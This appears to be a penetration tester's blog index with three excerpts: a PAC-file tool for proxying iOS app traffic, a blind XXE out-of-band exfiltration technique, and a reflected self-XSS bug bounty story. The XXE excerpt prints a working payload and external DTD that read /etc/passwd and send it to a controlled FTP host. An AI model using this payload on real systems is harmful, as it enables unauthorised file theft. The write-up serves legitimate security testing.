Painless iOS apps HTTP(S)-traffic proxying and inspecting

Sometimes you need to proxy the http(s)-traffic of specific app when you do its debugging or pentesting.

Setting the OS-wide global proxy isn’t convenient sometimes because global proxy could break some system component functionality. For instance, if you need to proxy the traffic of some iOS app, you will notice that the only option you have is to set global iOS-wide proxy. However, doing this will break many iOS components. You will be even unable to run an app you are developing because the iOS needs to communicate with the Apple servers to check the code sign, and it uses the certificate pinning there.

The only way to solve this really painlessly is to use Proxy Auto Configuration (PAC) – a protocol of dynamic proxy setting. In this case, you can specify not a static system-wide proxy, but a URL, where the specifically crafted PAC-file is located. This file contains a JS-function, which will be evaluated by browser’s or any other app’s low-level HTTP-library before doing every HTTP-request. This function gets current requested URL and host and should return the proxy address for them. And, depending on the function result, the proxy for this request will (or won’t) be set to some host and port. Thus, you can proxy only specific hosts traffic using PAC, the interaction with every other hosts will be performed directly.

However, the PAC-file is not something you will be glad to write by hand, especially if you need to cover a lot of hosts. And that’s why I’ve made this tiny tool to help you. There you can simply specify the hosts whose traffic must be proxified, and the corresponding PAC-file will be automatically created.

GitHub: https://github.com/skavans/universal-proxy-pac

  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  

XXE OOB extracting via HTTP+FTP using single opened port

Suppose we have discovered a XXE-vulnerability and trying to do blind OOB local files content extraction.
There are some different ways to do this. I recently had to use FTP-extraction (AFAIK, this was due to vulnerable service Java version – it didn’t allowed the HTTP-extraction of some files, e.g. /etc/passwd).

I have used the following vector:

1
2
3
4
5
6
7
8
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://host:1111/ext.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>

and have place at http://host:1111/ext.dtd the following DTD:

1
2
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://host:2222/%data;'>">

This works the following way:
1. Processing the XML source, vulnerable app loads external DTD schema via HTTP from http://host:1111/ext.dtd
2. Processing the loaded schema, the app loads local file /etc/passwd and tries to load external entity exfil via FTP from ftp://host:2222/%data;, where the %data; is replaced by /etc/passwd content by XML parser. Thus, if we control the FTP server, we can easily read extracted data.

And everything would be fine, but the vulnerable server firewall has allowed only 3785 port outgoing connections, and we needed to make 2 requests: over HTTP and then over FTP. So, I had to think, how to process both protocols using one single port 🙂

Continue reading →

How I have exploited reflected self-XSS or CORS is not the end

The other day I have stumbled upon the reflected self-XSS. It is OK, if the self-XSS is stored – in this case the injected code is stored inside some application area, which is available only for the same user, that could inject the code there, for example, inside user personal area. In my case the following has occurred: I had discovered the link, vulnerable to classical reflected XSS and reported it into BugBounty. It didn’t even occur to check the link transferring to other user. Over time, I have received the report reject because of “can not reproduce”.

It turned out that the vulnerable application has the external sources video uploading function, and this is how it works:

  1. The user presses the “Upload video” button, and the separated video uploading page is opened. Then, as I think, some video dummy is inserted into DB. This dummy has associated video ID like 10345 already (this ID is visible inside the page source).
  2. The user selects the “Upload from external source” item and the other separated page with URL like
    /uploadExt?videoId=10345&amp;vulnerableParam=test is opened. This is exactly the same page, that is vulnerable for XSS via vulnerableParam parameter.

The problem was that the vulnerable link couldn’t be transferred to other user, as he had no access to video with this ID, so the user has got the 403 Unauthorized server error. Thus, the user could be attacked only if he has initiated the video uploading process by himself and has navigated to vulnerable URL containing his own videoId.

Read further, what have I tried to bypass this limitation and what have I achieved 🙂
Continue reading →